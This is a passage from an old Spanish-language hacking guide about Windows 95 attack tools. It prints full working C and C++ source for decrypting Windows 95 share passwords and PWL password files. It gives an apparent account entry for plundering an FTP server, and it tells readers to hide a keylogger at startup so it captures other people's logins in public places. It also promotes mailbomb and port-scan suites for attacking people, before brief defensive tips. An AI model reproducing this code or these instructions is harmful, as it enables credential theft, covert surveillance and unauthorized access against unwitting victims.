Volvemos a la carga con otro programa que no es del win95 propiamente, pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un Sniffer para aquellos que no sepan, es un programa que captura los paquetes que pasan por una red y asi se pueden conseguir logins, passowrds u otro tipo de informacion que querramos, logicamente si los paquetes estan encriptados, esto dificultara el proceso, ya que habra que desencriptarlos si se puede. Como siempre abrimos una ventana y ejecutamos el programa de la siguiente manera:


c:\>gobbler

Y se activara el programa y veremos una serie de ventanas, en este punto, pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que configurar el programa para nuestra red, la verdad es que es muy sencillo de utilizar, con un poco de practica dominaremos este sniffer facilmente. Como sugerencia conviene leer el fichero de documentacion que trae, ya que explica como configurar el programa.

 

5e. Modificando el WS_FTP

El famoso cliente ftp WS_FTP, se le puede añadir un host remoto el cual esconde mucho software interesante. Esta opcion no esta por defecto, simplemente hay que añadir una lineas en el fichero “WS_FTP.ini”. Tenemos que añadir, al principio del fichero:


[208.128.143.19]
HOST=24.48.3.45
UID=cmw
PWD=636E79
LMASK=
RMASK=
RETRIES=20
PASVMODE=0
COMMENT=

Simple, verdad? Pues ahora cuando le digamos al cliente que se diriga al host 208.128.143.19 (que no es la dirrecion real, pero da igual). Pues que os divertais con esta cuenta 🙂 y coged todo lo que podais, porque a saber cuanto tiempo estara vigente.

 

5f. Sharepasswd

Este programa desencripta el passorwd de win95. Esta en lenguaje C, como supongo todo el mundo tiene que tener un compilador en C y si no ya estas buscando uno, que hay muchos y gratis por Internet. No veo la necesidad de explicaros el programa ya que tambien incluyo la explicacion del autor la cual esta muy bien, logicamente.


/* This program takes an 'encrypted' Windows 95 share password and decrypts it
 * Look at:
 * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
 * to find a machine's shares. Within the data for each share are two
 * registry entries, Parm1enc and Parm2enc. Parm1enc is the "Full access"
 * password. Parm2enc is the "Read only" password.
 *
 * David Ross 2/9/96
 * snakey@cs.umd.edu
 *
 * Do not distribute this program for any commercial purpose without first
 * contacting me for permission.
 *
 * DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!
 *
 * A technical description of the 'code' can be found later on in this
 * document.
 */

#include <stdio.h>
#include <string.h>

#define BUFFER 30

int DecodeCharOne(unsigned char *);
int DecodeCharTwo(unsigned char *);
int DecodeCharThree(unsigned char *);
int DecodeCharFour(unsigned char *);
int DecodeCharFive(unsigned char *);
int DecodeCharSix(unsigned char *);
int DecodeCharSeven(unsigned char *);
int DecodeCharEight(unsigned char *);

void main( void ) {
  int i; /* Generic counter */
  int eocc = 0; /* Records if there has been an error */

  /* The following structure stores the encoded bytes. Decoded values
   * replace the encoded values as the decoding process moves along
   * The initial values show here are not used and are unimportant
   */

  unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };
  unsigned short tempshort; /* Used as a go-between from sscanf() to
                             * mybytes[] so unaligned data accesses don't
                             * occur
                             */
  int goupto = 0; /* Records how many characters there are to be decoded */

  /* The following code handles input */
  char inpt[BUFFER];
  char *inptptr;
  printf("Input the byte code in hex (ex: 76 d5 09 e3): ");
  fgets(inpt, BUFFER, stdin);
  inptptr = strtok(inpt, " ");

  if (inpt[0] != '\n')
    while ((inptptr != NULL) && (goupto < 8)) {
      sscanf(inptptr, "%hx", &tempshort);
      mybytes[goupto++] = tempshort;
      inptptr = strtok(NULL, " ");
     }

  /* Decode all the characters. I could have made this stop immediately
   * after an error has been found, but it really doesn't matter
   */

  if (!DecodeCharOne(&mybytes[0])) eocc = 1;
  if (!DecodeCharTwo(&mybytes[1])) eocc = 1;
  if (!DecodeCharThree(&mybytes[2])) eocc = 1;
  if (!DecodeCharFour(&mybytes[3])) eocc = 1;
  if (!DecodeCharFive(&mybytes[4])) eocc = 1;
  if (!DecodeCharSix(&mybytes[5])) eocc = 1;
  if (!DecodeCharSeven(&mybytes[6])) eocc = 1;
  if (!DecodeCharEight(&mybytes[7])) eocc = 1;

  /* If the password could be decoded, print it */

  if (eocc)
    printf("The encrypted password is invalid.\n");
  else {
    printf("The decoded password is: \"");
    for (i = 0; i < goupto; i++)
      printf("%c",mybytes[i]);
    printf("\"\n");
   }
} /* End of main() */

  /* I will document this function, but not the seven other functions
   * which decode the subsequent seven characters. All of these functions
   * are essentially the same. Multiple functions are necessary though
   * because each column of the password has a different set of encoding
   * patterns.
   *
   * The following section will attempt to explain the encoding scheme
   * for share passwords as stored in the Windows 95 registry. I will
   * try to explain this as clearly as I can, however I really have no
   * background in encryption. If you have any questions, please feel
   * free to send them to me at snakey@cs.umd.edu.
   *
   * First off, share passwords can be anywhere from one character to
   * eight. "Read only" passwords and "Full access" passwords both use
   * the same encoding scheme, and so they both can be decoded by this
   * program. There is a one-to-one relationship between the number of
   * characters in a password and the number of bytes in the encoded
   * password stored in the registry. In fact, each encoded byte directly
   * corresponds to the letter in the corresponding column of the
   * unencoded password! Ie: If I change a password "passwd" to "masswd",
   * only the first byte of the encrypted password will change. Knowing
   * this, it is easy to see that all that needs to be done to decode
   * the password is to find a mapping from an encoded byte to a decoded
   * letter. That's what this program does. Unfortunately, things get
   * a little tricky because a letter in the first column of a password
   * is encoded using a slightly different algorithm than a letter
   * in the second column, and so on.
   *
   * There is another complexity which we do not really need to worry
   * about to a great extent, but we still need to be aware of. Many
   * characters, when entered into a password, map to the same encoded
   * byte. The best example of this is that both 'A' and 'a' are the
   * same as far as share passwords are concerned. There are numerous
   * other examples of this, and this allows us to effectively limit the
   * range of characters we need to be able to decode. The range of
   * ASCII values we will have to be able to decode turns out to be
   * from 32 to 159. ASCII values higher than 159 tend to map to
   * encoded bytes which also represent more normal ASCII values. So
   * if a user manages to create a password with high ASCII values
   * in it, that password will still be decoded by this program.
   * Although the decoded password won't look the same as the original,
   * it will work just as well.
   *
   * With all of the preliminaries out of the way, I can now move on
   * to describing the mapping from an encoded byte to it's corresponding
   * ASCII value. I think the best way to describe this would be through
   * a picture of exactly how the characters from 32 to 63 are mapped
   * out in the code for the first letter in a password. This table goes
   * beyond the 80 column format maintained in the rest of this document,
   * but it is really the best solution. If the table below doesn't look
   * right, load this file up in a text editor that supports greater than
   * 80 columns.
   *
   * Encoded byte (hex)    - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10 0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
   * ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37 58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53
   * Pair                  - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_| |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|
   * Quad                  - |__________2__________| |__________1__________| |__________3__________| |__________4__________|
   * 32 byte block         - |______________________________________________1______________________________________________|
   *
   * The "Pair", "Quad", and "32 byte block" rows each are there to
   * make the general ordering of the code more visible. The first thing to
   * note is that the range of encoded byte values runs from 00 to 1f. This
   * will not always be the case for the first set of 32 characters. In
   * fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in
   * the range of 20 to 3f in encoded form. I never concerned myself with
   * predicting exactly where each of the four 32 byte ranges are aligned
   * within the range of 0 to 256. In my decoding scheme, I simply specify
   * the location of the first character in a 32 byte block (which I have
   * pre-determined via experimentation) and determine the locations of the
   * rest of the characters in the block relative to the inital value. This
   * amounts to a total of four hand-decoded characters for the entire code.
   *
   * From a starting point which is given (in this case the fact that ASCII
   * 32 is encoded as 0x15), my decoding scheme follows a pattern that is
   * probably already apparent to you if you have examined the above table
   * closely. First, if the encoded byte number is odd, it simple subtracts
   * one from this byte number to get the byte number of the encoded form of
   * the subsequent character. This is much more simple than it sounds.
   * As an example, given that the code for ASCII 32 is 0x15, the program
   * knows that the code for ASCII 33 must be 0x14. The tricky part is that
   * this is not always true for every code. Recall that there is a different
   * coding scheme for each of the 8 columns in a password, and that the above
   * table only describes the coding scheme for the first column. Other columns
   * reverse this relationship between the two ASCII values of a certain pair.
   *
   * Pairs are grouped into units of four, appearing in a predefined pattern.
   * In this case, the first pair (by first I mean the pair with the lowest
   * set of ASCII values) is put in the second slot of a quad (which contains
   * four pairs). The second pair is put in the first slot, the third is put
   * in the fourth quad, and the fourth is put in the third quad. This changes
   * depending on the specific code used (of the 8 possible).
   *
   * Quads also fill a block in the same manner, however the ordering is NOT
   * necessarily the same as the way pairs fit into quads! As I described
   * above, there are four blocks, and they fit into the entire range of
   * 128 values just as pairs fit into quads and quads fit into blocks,
   * via a pattern determined by whoever invented this encoding scheme. It
   * is important to realize that the range of 128 possible encoded
   * values can be anywhere within the range of 0 to 256. Ie: One block can
   * be positioned from 0x00 to 0x1f, while another block in the same code
   * can be positioned from 0xa0 to 0xbf.
   *
   * I realize that the above description is a bit complex, and it doesn't
   * really cover much of _how_ my program decodes the the encoded values.
   * If you honestly can't understand a word I've said, just go back to
   * the table and really take a long look at it. Print it out, put it
   * under your pillow when you go to sleep. Sooner or later the order
   * of it all will dawn on you and you should be able to step through
   * my code and see how it derives its answer, at least for the
   * DecodeCharOne() routine. Seven other tables (which I have rough
   * copies of here on notebook paper) were needed to come up with
   * the seven other decoders for the seven other character places.
   *
   */

int DecodeCharOne(unsigned char *mychar) {
  int i = 0; /* Keeps track of the decoded character # minus 32 */
  int cletter = 1; /* Sets the current letter of the 8 char quad */
  int blockl1 = 1; /* Sets the current quad */
  int blockl2 = 1; /* Sets the current 32 char block */
  int retval = 1;

  /* We are on this col of the table: */
  unsigned char code = 0x15; /* The code for a space */

  /* This is the main loop. It walks through each decoded character, finds
   * its corresponding encoded value, and looks to see if that's the same as
   * the encoded value we are looking for. If it is, we have found our
   * decoded character!
   */

  while((i < 256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code--;
               cletter++;
               break;
      case 2:  code += 3;
               cletter++;
               break;
      case 3:  code--;
               cletter++;
               break;
      case 4:  code -= 5;
               cletter++;
               break;
      case 5:  code--;
               cletter++;
               break;
      case 6:  code+=3;
               cletter++;
               break;
      case 7:  code--;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) { /* After we hit character number 8, we have */
                 case 1:  /* to do a relative jump to the next quad */
                          code += 11;
                          blockl1++;
                          break;
                 case 2:  code -= 21;
                          blockl1++;
                          break;
                 case 3:  code += 11;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) { /* After we hit the last quad, we have to */
                            case 1:  /* jump to the next 32 character block. */
                                     code = 0x75;
                                     blockl2++;
                                     break;
                            case 2:  code = 0x55;
                                     blockl2++;
                                     break;
                            case 3:  code = 0xb5;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x15;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharOne() */


int DecodeCharTwo(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0xba; /* The code for a space */

  while((i < 256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code++;
               cletter++;
               break;
      case 2:  code -= 3;
               cletter++;
               break;
      case 3:  code++;
               cletter++;
               break;
      case 4:  code += 5;
               cletter++;
               break;
      case 5:  code++;
               cletter++;
               break;
      case 6:  code -= 3;
               cletter++;
               break;
      case 7:  code++;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code -= 11;
                          blockl1++;
                          break;
                 case 2:  code -= 11;
                          blockl1++;
                          break;
                 case 3:  code -= 11;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0xda;
                                     blockl2++;
                                     break;
                            case 2:  code = 0xfa;
                                     blockl2++;
                                     break;
                            case 3:  code = 0x1a;
                                     blockl2++;
                                     break;
                            case 4:  code = 0xba;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharTwo() */


int DecodeCharThree(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x6d; /* The code for a space */

  while((i < 256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code--;
               cletter++;
               break;
      case 2:  code += 3;
               cletter++;
               break;
      case 3:  code--;
               cletter++;
               break;
      case 4:  code -= 5;
               cletter++;
               break;
      case 5:  code--;
               cletter++;
               break;
      case 6:  code += 3;
               cletter++;
               break;
      case 7:  code--;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code -= 5;
                          blockl1++;
                          break;
                 case 2:  code += 27;
                          blockl1++;
                          break;
                 case 3:  code -= 5;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0x0d;
                                     blockl2++;
                                     break;
                            case 2:  code = 0x2d;
                                     blockl2++;
                                     break;
                            case 3:  code = 0xcd;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x6d;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharThree() */


int DecodeCharFour(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x86; /* The code for a space */

  while((i < 256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code++;
               cletter++;
               break;
      case 2:  code -= 3;
               cletter++;
               break;
      case 3:  code++;
               cletter++;
               break;
      case 4:  code -= 3;
               cletter++;
               break;
      case 5:  code++;
               cletter++;
               break;
      case 6:  code -= 3;
               cletter++;
               break;
      case 7:  code++;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code += 13;
                          blockl1++;
                          break;
                 case 2:  code += 13;
                          blockl1++;
                          break;
                 case 3:  code += 13;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0xe6;
                                     blockl2++;
                                     break;
                            case 2:  code = 0xc6;
                                     blockl2++;
                                     break;
                            case 3:  code = 0x26;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x86;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharFour() */


int DecodeCharFive(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x73; /* The code for a space */

  while((i<256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code--;
               cletter++;
               break;
      case 2:  code--;
               cletter++;
               break;
      case 3:  code--;
               cletter++;
               break;
      case 4:  code += 7;
               cletter++;
               break;
      case 5:  code--;
               cletter++;
               break;
      case 6:  code--;
               cletter++;
               break;
      case 7:  code--;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code += 7;
                          blockl1++;
                          break;
                 case 2:  code -= 25;
                          blockl1++;
                          break;
                 case 3:  code += 7;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0x13;
                                     blockl2++;
                                     break;
                            case 2:  code = 0x33;
                                     blockl2++;
                                     break;
                            case 3:  code = 0x23;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x73;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharFive() */


int DecodeCharSix(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x89; /* The code for a space */

  while((i<256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code--;
               cletter++;
               break;
      case 2:  code += 3;
               cletter++;
               break;
      case 3:  code--;
               cletter++;
               break;
      case 4:  code += 3;
               cletter++;
               break;
      case 5:  code--;
               cletter++;
               break;
      case 6:  code += 3;
               cletter++;
               break;
      case 7:  code--;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code -= 13;
                          blockl1++;
                          break;
                 case 2:  code += 19;
                          blockl1++;
                          break;
                 case 3:  code -= 13;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0xe9;
                                     blockl2++;
                                     break;
                            case 2:  code = 0xc9;
                                     blockl2++;
                                     break;
                            case 3:  code = 0x29;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x89;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharSix() */


int DecodeCharSeven(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0xf4; /* The code for a space */

  while((i<256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code++;
               cletter++;
               break;
      case 2:  code++;
               cletter++;
               break;
      case 3:  code++;
               cletter++;
               break;
      case 4:  code -= 7;
               cletter++;
               break;
      case 5:  code++;
               cletter++;
               break;
      case 6:  code++;
               cletter++;
               break;
      case 7:  code++;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code += 9;
                          blockl1++;
                          break;
                 case 2:  code -= 23;
                          blockl1++;
                          break;
                 case 3:  code += 9;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0x94;
                                     blockl2++;
                                     break;
                            case 2:  code = 0xb4;
                                     blockl2++;
                                     break;
                            case 3:  code = 0x54;
                                     blockl2++;
                                     break;
                            case 4:  code = 0xf4;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharSeven() */


int DecodeCharEight(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x4a; /* The code for a space */

  while((i<256) && (code != *mychar)) {
    switch (cletter) {
      case 1:  code++;
               cletter++;
               break;
      case 2:  code -= 3;
               cletter++;
               break;
      case 3:  code++;
               cletter++;
               break;
      case 4:  code += 5;
               cletter++;
               break;
      case 5:  code++;
               cletter++;
               break;
      case 6:  code -= 3;
               cletter++;
               break;
      case 7:  code++;
               cletter++;
               break;
      case 8:  cletter = 1;
               switch (blockl1) {
                 case 1:  code -= 11;
                          blockl1++;
                          break;
                 case 2:  code += 21;
                          blockl1++;
                          break;
                 case 3:  code -= 11;
                          blockl1++;
                          break;
                 case 4:  blockl1 = 1;
                          switch (blockl2) {
                            case 1:  code = 0x2a;
                                     blockl2++;
                                     break;
                            case 2:  code = 0x0a;
                                     blockl2++;
                                     break;
                            case 3:  code = 0xea;
                                     blockl2++;
                                     break;
                            case 4:  code = 0x4a;
                                     blockl2 = 1;
                                     break;
                           }
                          break;
                }
               break;
     }
    i++;
   }

  if (i == 256) retval = 0;
  else *mychar = i + 32;

  return retval;

} /* End of DecodeCharEight() */

/* End of program */

Cuando ejecutemos el programa nos saldra esto:


c:\>sharepw
Input the byte code in hex (ex: 76 d5 09 e3):

Nos pide que introduzcamos el password en formato Hexadecimal. Hay muchas tablas por Internet para aquellos que no tengan una.

 

5g. Snadboy’s revelation v1.1

En este apartado hablare sobre una interesante herramienta. El Snadboy es una tool que nos descripta los astericos de la tipica ventana que pide password. Si hay una ventana con un password y que no entendemos porque solo salen asteriscos, lo que tenemos que hacer es abrir el Snadboy y situarnos al lado de la ventana de password, la ventana del Snadboy tiene una “mira de punto”, pinchamos encima de la mira y la arrastramos con el raton sobre la ventana del password situandonos encima del password, soltamos y en la ventana del Snadboy veremos el password descifrado.

Como nota, este programa para lo que hace, ocupa mucho en el disco duro,por lo que puede ser un poco sospechoso o que los coders no lo han optimizado demasiado que digamos.

 

5h. Keylog95

Este programa nos sera muy util en sitio donde halla mucha gente, ya que es un Key recoder, o sea, una pequeña utilidad que se queda residente en memoria y graba todos los logins y password que la gente vaya metiendo.

El programa es de sencillo manejo, pero tiene que haver unos pequeños requisitos, primero tener las librerias VBRUN300.DLL y QPRO200.DLL en el directorio c:\windows\system y ademas tener un directorio llamado c:\win, ya que es alli donde el programa grabara la informacion que obtenga, en un fichero llamado “logx”, por lo que esto quedara:


c:\win\logx

Cuando las librerias esten metidas en el directorio System, windows creara un icono en la carpeta de Inico, por lo que es conveniente darle un atributo de Minimizado para que nadie lo pueda ver y asi siempre que se arranque Windows tambien lo hara el Keylog95 🙂

 

5i. Glide

El Glide es otro programa que sirve para desencriptar un password’s en Win95. Al igual que el Sharepw solo lo tenemos que compiLar y ejecutar con la salvedad que esta escrito en C++.


#include <stdio.h>
#include <string.h>
#include <process.h>
#include <stdlib.h>
#include <ctype.h>
#include <conio.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main (int argc,char *argv[]) {
  FILE *fd;
  int i,j,k;
  int size;
  char ch;

  char *name;
  int cracked;
  int sizemask;
  int maxr;
  int rsz;
  int pos;
  int Rall[300]; /* recource allocation table */

  if (argc<2) {
    printf("usage: glide filename (username)");
    exit(1);
   }

  /* read PWL file */

  fd=fopen(argv[1],"rb");
  if (fd==NULL) {
    printf("can't open file %s",argv[1]);
    exit(1);
   }

  size=0;
  while(!feof(fd)) {
    Data[size++]=fgetc(fd);
   }
  size--;
  fclose(fd);

  /* find username */
  name=argv[1];
  if(argc>2) name=argv[2];
  printf("Username: %s\n",name);

  /* copy encrypted text into keystream */
  cracked=size-0x0208;
  if(cracked<0) cracked=0;
  if(cracked>1000) cracked=1000;
  memcpy(keystream,Data+0x208,cracked );

  /* generate 20 bytes of keystream */
  for(i=0;i<20;i++) {
    ch=toupper(name[i]);
    if(ch==0) break;
    if(ch=='.') break;
    keystream[i]^=ch;
   };

  cracked=20;

  /* find allocated recources */
  sizemask=keystream[0]+(keystream[1]<<8);
  printf("Sizemask: %04X\n",sizemask);
  for(i=0;i<256;i++) Rall[i]=0;
  maxr=0;

  for(i=0x108;i<0x208;i++) {
    if(Data[i]!=0xff) {
      Rall[Data[i]]++;
      if (Data[i]>maxr) maxr=Data[i];
     }
   }

  /* recource pointer table size appears to be divisable by 16 */
  maxr=(((maxr/16)+1)*16);

  /* search after recources */
  Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */
  for(i=0;i<maxr;i++) {
    /* find size of current recource */
    pos=Rpoint[i];
    rsz=Data[pos]+(Data[pos+1]<<8);
    rsz^=sizemask;
    printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
    if( (Rall[i]==0) && (rsz!=0) ) {
      printf("unused resource has nonzero size !!!\n");
      printf("If last line produced any : You may try to recover\n");
      printf("press y to attempt recovery\n");
      ch=getch();
      if(ch!='y') exit(0);
      rsz=2;
      i-=1;
     }
    pos+=rsz;

    /* Resources have a tendency to have the wrong size for some reason */
    /* check for correct size */
    if(i<maxr-1) {
      while(Data[pos+3]!=keystream[1]) {
        printf(":",Data[pos+3]);
        pos+=2; /* very rude may fail */
       }
     }

    pos+=2; /* include pointer in size */
    Rpoint[i+1]=pos;
   }

  Rpoint[maxr]=size;

  /* insert Table data into keystream */
  for(i=0;i <= maxr;i++) {
    keystream[20+2*i]^=Rpoint[i] & 0x00ff;
    keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
   }

  cracked+=maxr*2+2;
  printf("%d bytes of keystream recovered\n",cracked);

  /* decrypt resources */
  for(i=0;i < maxr;i++) {
    rsz=Rpoint[i+1]-Rpoint[i];
    if (rsz>cracked) rsz=cracked;
    printf("Recource[%d] (%d)\n",i,rsz);
    for(j=0;j<rsz;j++)
      printf("%c",Data[Rpoint[i]+j]^keystream[j]);
    printf("\n");
   }

  exit(0);
}

Cuando lo ejecutemos nos saldra lo siguiente:


c:\>glide
usage: glide filename (username)

Pidiendo el fichero y el login.

 

5j. Win95 anonymail v 1.0

Este sencillo programa nos sera de gran ayuda para enviar mail anonimo. Cuando ejecutemos el programa nos saldra una ventana con los siguientes campos:


Host
From
To
Subject

Solo tenemos que rellenarlos correctamente y pulsar el “send” para enviar el mail anonimo y cuando hayamos acabado pulsar “quit”.

Un programa muy sencillo que nos puede ser util. Como nota, el autor nos advierte que nadie le envie mail anonimo con su programa, por lo que se puede deducir que es un farol o que el programa no es tan anonimo, por lo que el autor le habra metido un troyano.

 

5k. Hacker’s Utility, V 1.02

Este magnifico programa es una suite para Hackers. Para que nos entendamos, este programa esta compuesto por muchos otros programas y asi dispones de un paquete perfecto para un Hacker.

Cuando ejecutamos este programa nos aparecera una ventana con un menu arriba, y cuando abramos una de estas opciones se abrira otra ventana con mas opciones. Ahora podemos ver el menu principal compuesto por los submenus:


File -> HU setup, exit


Cracking -> crack passwords -> crack zip passwords

crack passwd files

passwd jackpot

words prcessing -> words wizard

xtrakt words

sort

Tools -> create & fill a dummy fill, compare binary files

Network -> finger, port scanner, ip <> name converter

Other Stuff -> hackers's test, serial numbers,
extracting/ripping sound files, extracting/ripping graphic files,
manual extract/rip files

System -> dos prompt, run custom application, shut down


Window -> cascade, tile horizontal, tile vertical, arrange icons,
main toolbar, main status bar

Help -> tip of day, index, using help, about Hacker's Utility

La verdad es que esta suite esta muy completa y nos sera de gran ayuda. Por ejemplo el sistema se puede configurar en File->HU setup para que sea mas personal. Cabe destacar ciertas utilidades como los crackeadores que tiene incorporados para crackear el passwd de un Unix o romper el password de un fichero zip. Luego en la seccion de Network, las utilidades nos seran de mucha ayuda, como el Finger, el scaneador de puertos y el convertidor de direcciones IP. Esto en mi opion seria lo mejor del programa pero luego trae otras cosas que tambien nos pueden servir para al menos divertinos un rato, esto es el caso del Hacker’s Test, por ejemplo podemos activar el Port Scanner y mientras esperamos a los resultados podemos hacer un test para saber si somos buenos Hackers.

La verdad es que es una magnifica herramienta que los Hackers de win deben tener.

 

5l. Haktek v1.1

Al igual que el HU, Haktek, es una suite que tambien nos sera de gran ayuda. Pero esta suite esta mas enfocada a atacar por Internet, logicamente con el peligro que ello conlleva.

Al ejecutar el programa, se abrira una ventana en la que veremos una serie de iconos en la parte izquierda de la ventana y una pantalla de texto que nos explica cada icono. Empezando de arriba para abajo:

  • Diskette-> graba la sesion (lo que esta en pantalla y lo que hallamos hecho con el programa)
  • X -> prepara la sesion, borrando la pantalla de texto
  • ? -> nos habla sobre sus autores
  • Circulo -> señalos un objetivo, por defecto www.microsoft.com
  • Antena -> Utilidad ping
  • Gafas -> scaneador de puertos
  • Bomba -> bombardeador de correo
  • Stop bomb -> para protegernos de un mailbomber
  • Radio -> scaneador de IP’S
  • Prismaticos -> para enviar finger nulos

La verdad es que es una suite muy completa y nos ayudara a joder a todo el que se ponga por delante. Con un poco de practica dominaremos este programa a la perfeccion.

 

5m. Claymore Brute Force

Esta utlidad no sera de gran ayuda para desencriptar passowrd’s de un fichero passwd de Unix. Cuando lo ejecutemos se abrira una ventana con varias opciones, de facil manejo, para aquellos que quieren algo simple y corriendo sobre win95. Este crackeador es de fuerza bruta pudiendo ser algo lento.

 

6. Medidas de seguridad

En esta seccion hablare sobre varios aspectos muy importanes, logicamente la seguridad personal, de nuestro ordenador, etc… Para que nadie pueda jodernos aunque nos movamos por Win95.

 

6a. Protegiendo nuestro ordenador

Nuestro ordenador corriendo con Win95, sera propenso a muchos tipos de ataques diferentes. Por ello conviene estar preparado y sobre estar alerta sobre las nuevas cosas que surgen por el mundo Underground, el mejor medio son los e-zines y por supuesto buenos amigos por el IRC.

 

6a1. Ataques tipicos a nuestro Windows

Logicamente seremos muy propensos a ataques tipo DoS (denial of service), como son el LAND, BONK, TEARDROP y por supuesto los famosos nukes, OOB, etc …

Para estar protegidos lo que tenemos que hacer es pasarnos por los web’s de seguridad o el de la casa Microsoft en los cuales se cuelgan los parches de estos ataques. No siempre funcioran pero nos ahorraran muchos disgustos en muchos casos. La gente suele ser muy propensa a estas cosas porque no esta informada sobre estos ataques y por consiguinte ademas no se instala los parches correspondientes.

 

6a2. Encriptacion de nuestra informacion

La informacion sensible que tengamos en nuestro disco duro conviene que este encriptada con algun buen programa de encriptacion del tipo PGP, el cual no puede ser roto en estos tiempos.

Tambien podemos hacer uso de la Stereografia, el arte de ocultar la informacion. Hay varios programas en Internet que nos permiten esconder ficheros de txt en ficheros graficos o de sonido, por supuesto habra que tener cuidado cuando hacemos estas operaciones, debido a la diferencia de formatos entre los ficheros.

Incluso podemos encriptar todo o parte del disco duro para mayor seguridad en nuestros datos.

 

6a3. Eliminar informacion de forma segura

Cuando borramos un fichero del disco duro, realmente no esta borrado, por lo que puede ser rescatado mediante herramientas especiales. Esto no es conveniente si por el caso nuestro ordenador cae en malos manos y nos ha dado tiempo a borrar algunos ficheros, no serviria de nada ya que podrian recuperar la informacion.

Para borrar ficheros que contegan informacion muy privada o no queremos que nadie la pueda obtener, conviene borrar este fichero mediante algun programa especial para el borrado de ficheros. Existen por Internet programas muy buenos para ello o tambien podemos leernos un fichero sobre este tema, de recomendable lectura:


Secure Deletion of Data from Magnetic and Solid-State Memory
Peter Gutmann
Department of Computer Science
University of Auckland
pgut001@cs.auckland.ac.nz

 

6a4. Eliminacion de Virus

